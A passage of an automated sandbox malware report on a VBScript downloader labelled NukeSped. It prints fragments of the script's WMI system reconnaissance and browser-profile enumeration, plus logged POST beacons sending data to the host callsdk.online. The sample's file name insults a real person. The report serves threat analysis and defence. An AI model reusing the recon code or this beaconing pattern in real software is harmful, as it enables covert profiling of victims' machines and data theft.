subfolder.NameNextOn Error GoTo 0End IfFor Each folder In fso.GetFolder(basePath).SubFoldersIf LCase(Left(folder.Name, 8)) = "profile " ThenIf fso.FolderExists(folder.Path & "\Extens" (Indicator: "root\cimv2"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "root\cimv2"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set wdate = CreateObject("WbemScripting.SWbemDateTime")" (Indicator: "wbemscripting."; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")" (Indicator: "root\cimv2"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "\\.\root\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00004736-00002713-498988972") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00004736-00002713-501837995")44:T4d5,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004736) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004736)45:T7e5,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CHAINENGINE\CONFIG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG\DEFAULT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CI\CONFIG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CI\CONFIG\DEFAULT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\22FF89586561FC2D52F77491E9F1EFF1B80BE33E"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: ""; Value: "")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":["evasive","malicious"],"file_activity":{"dropped_files":[],"extracted_files":[{"name":"CDA8C825899D11FE5D92952D460A05B8","sha256":"d3b128216a843f8ef1321501f5df52a5df52939ee2c19297712cd3de4d419354","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CDA8C825899D11FE5D92952D460A05B8","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CDA8C825899D11FE5D92952D460A05B8","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4736:120:WilError_03","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"name":"Local\\SM0:4736:304:WilStaging_02","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"name":"SM0:4736:120:WilError_03","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2948:304:WilStaging_02","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2948:304:WilStaging_02","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"name":"Local\\SM0:2948:304:WilStaging_02","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"name":"SM0:2948:304:WilStaging_02","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4736:304:WilStaging_02","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"144.172.110.53","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]}],"dns_resolutions":[{"address":"144.172.110.53","country":"United States","domain":"callsdk.online","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"ttl":14400}],"http_requests":[{"header":"POST /info?t=2441464 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4757\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2441464"},{"header":"POST /info?t=2294051 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4829\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2294051"},{"header":"POST /info?t=2364607 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2364607"},{"header":"POST /info?t=2383814 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2383814"},{"header":"POST /info?t=2403026 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2403026"},{"header":"POST /info?t=2460675 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2460675"},{"header":"POST /info?t=2467085 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2467085"},{"header":"POST /info?t=2358201 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2358201"},{"header":"POST /info?t=2377411 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2377411"},{"header":"POST /info?t=2396620 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2396620"},{"header":"POST /info?t=2486302 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2486302"},{"header":"POST /info?t=2332572 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2332572"},{"header":"POST /info?t=2300543 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4829\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2300543"},{"header":"POST /info?t=2306947 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4829\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2306947"},{"header":"POST /info?t=2338972 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2338972"},{"header":"POST /info?t=2345397 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2345397"},{"header":"POST /info?t=2473490 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2473490"},{"header":"POST /info?t=2479902 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4706\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2479902"},{"header":"POST /info?t=2447858 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2447858"},{"header":"POST /info?t=2313347 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2313347"},{"header":"POST /info?t=2371012 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2371012"},{"header":"POST /info?t=2390223 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4873\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2390223"},{"header":"POST /info?t=2435059 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4757\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2435059"},{"header":"POST /info?t=3540037 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 3729\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}],"url":"/info?t=3540037"},{"header":"POST /info?t=2351799 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2351799"},{"header":"POST /info?t=2415839 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4757\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2415839"},{"header":"POST /info?t=2422241 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4757\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2422241"},{"header":"POST /info?t=2428658 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4756\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2428658"},{"header":"POST /info?t=2492708 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2492708"},{"header":"POST /info?t=2499109 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2499109"},{"header":"POST /info?t=2319760 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2319760"},{"header":"POST /info?t=2454271 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4707\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2454271"},{"header":"POST /info?t=2326158 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4919\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2326158"},{"header":"POST /info?t=2409427 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4757\nHost: callsdk.online","host":"callsdk.online","host_ip":"144.172.110.53:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}],"url":"/info?t=2409427"}]},"process_activity":{"all_imported_dlls":["q6e6i27U.dll","winhttp.dll","kernel32.dll","cryptnet.dll","powrprof.dll","scrrun.dll","nsi.dll","ntdll.dll","winnsi.dll","clbcatq.dll","shlwapi.dll","sspicli.dll","gdi32.dll","uxtheme.dll","ucrtbase.dll","OnDemandConnRouteHelper.dll","msvcp_win.dll","fastprox.dll","shell32.dll","wintrust.dll","bcryptprimitives.dll","webio.dll","amsi.dll","msasn1.dll","29oeMa80.dll","wmiutils.dll","scrobj.dll","wbemsvc.dll","combase.dll","ole32.dll","vbscript.dll","KernelBase.dll","wbemdisp.dll","version.dll","userenv.dll","profapi.dll","VxSSL64.dll","windows.storage.dll","mswsock.dll","dnsapi.dll","MpOAV.dll","SHCore.dll","dwmapi.dll","advapi32.dll","crypt32.dll","schannel.dll","ncrypt.dll","win32u.dll","wbemcomn.dll","ncryptsslp.dll","dhcpcsvc.dll","fltLib.dll","mskeyprotect.dll","ntasn1.dll","ws2_32.dll","iertutil.dll","IPHLPAPI.DLL","kernel.appcore.dll","sechost.dll","bcrypt.dll","FWPUCLNT.DLL","imm32.dll","msctf.dll","wbemprox.dll","gdi32full.dll","wldp.dll","cryptsp.dll","mpr.dll","dhcpcsvc6.dll","dpapi.dll","user32.dll","rsaenh.dll","cfgmgr32.dll","msisip.dll","msvcrt.dll","sxs.dll","gpapi.dll","rasadhlp.dll","winhttpcom.dll","oleaut32.dll","coml2.dll","rpcrt4.dll","wshext.dll","cryptbase.dll"],"processes":[{"command_line":"\"C:\\kim_jong_un_is_a_fat_ugly_pig.vbs\"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII=","name":"WScript.exe","normalized_path":"%WINDIR%\\System32\\WScript.exe","pid":4736,"ppid":0,"sha256":"7478b567c9ec9a1e1061f9c6db2993fcdc2ec4e8fb5ca6da80fa307b54116e69","uid":"00000000-00004736"}],"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"analysis_start_time":"2026-07-06T15:53:05+00:00","contacted_countries":["USA"],"environment_description":"Windows 11 64 bit","environment_id":140,"id":"6a4bcf607e6ce85f290a96b3","indicators_count":{"informative":89,"malicious":4,"suspicious":13},"is_in_unified_schema":true,"malware_family":"TrojanDownloader.NukeSped","state":"SUCCESS","submit_name":"kim_jong_un_is_a_fat_ugly_pig.vbs","tags":["Network Traffic","Extracted 